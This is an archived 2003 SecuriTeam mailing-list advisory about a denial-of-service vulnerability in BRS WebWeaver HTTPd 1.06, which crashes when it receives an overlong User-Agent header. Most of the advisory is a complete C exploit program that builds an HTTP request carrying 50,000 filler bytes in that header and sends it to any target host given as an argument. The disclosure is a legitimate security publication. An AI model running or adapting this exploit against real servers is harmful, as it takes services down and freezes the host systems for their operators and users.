

[NT] BRS WebWeaver User-Agent DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0031.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/05/03

To: list@securiteam.com

Date: 5 Nov 2003 18:27:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

BRS WebWeaver User-Agent DoS

SUMMARY

BRS WebWeaver HTTPd crashes and freezes the whole system, when it gets a request that contains a long string within `User-Agent` field.

DETAILS

Vulnerable systems:

- * BRS WebWeaver version 1.06

Exploit:

/*

- * BRS WebWeaver v.1.06 remote DoS exploit

*

- * -d4rkgr3y [d4rk@securitylab.ru]

*

*/

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <netdb.h>
```

```
#include <sys/socket.h>
```

```
#define port 80

main(int argc, char **argv) {
    struct hostent *hs;
    struct sockaddr_in sock;
    int sockfd, i;
    const c = 50000;
    char request[50150] =
        "GET /m00-r0cz HTTP/1.0\n"
        "Accept: */*\n"
        "Accept-Language: jp\n"
        "Accept-Encoding: gzip, deflate\n"
        "Host: m00security.org\n"
        "User-Agent: ";
    printf("BRS WebWeaver v.1.06 remote DoS exploit\n\n");

    if (argc!=2){
        printf("usage\n %s hostname\n\n",argv[0]);
        exit(1);
    }

    //memset((request+98),0x41,c);
    memset((request+strlen(request)),0x41,c);
    /* 133t ;] */
    request[strlen(request)] = 0x0a;
    request[strlen(request)] = 0x43;
    request[strlen(request)] = 0x6f;
    request[strlen(request)] = 0x6e;
    request[strlen(request)] = 0x6e;
    request[strlen(request)] = 0x65;
    request[strlen(request)] = 0x63;
    request[strlen(request)] = 0x74;
    request[strlen(request)] = 0x69;
    request[strlen(request)] = 0x6f;
    request[strlen(request)] = 0x6e;
    request[strlen(request)] = 0x3a;
    request[strlen(request)] = 0x20;
    request[strlen(request)] = 0x4b;
    request[strlen(request)] = 0x65;
    request[strlen(request)] = 0x65;
    request[strlen(request)] = 0x70;
    request[strlen(request)] = 0x2d;
    request[strlen(request)] = 0x41;
    request[strlen(request)] = 0x6c;
    request[strlen(request)] = 0x69;
    request[strlen(request)] = 0x76;
    request[strlen(request)] = 0x65;
    request[strlen(request)] = 0x0a;
    request[strlen(request)] = 0x0a;
```

Securiteam: [NT] BRS WebWeaver User-Agent DoS

```
bzero(&sock, sizeof(sock));
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
    if (hs=gethostbyname(argv[1]))==NULL) {
        printf("damn");
        exit(1);
    }
    printf("~ Host resolved.\n");
    sock.sin_family = hs->h_addrtype;
    memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("damn"); exit(0);
}

if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
    perror("damn"); exit(0);
}
printf("~ Socket connected\n");
printf("~ Sending evil code... ");
write(sockfd,request,strlen(request));
printf("done\n\n");
close(sockfd);
}
/* m00 */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:d4rk@securitylab.ru>
d4rkgr3y.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.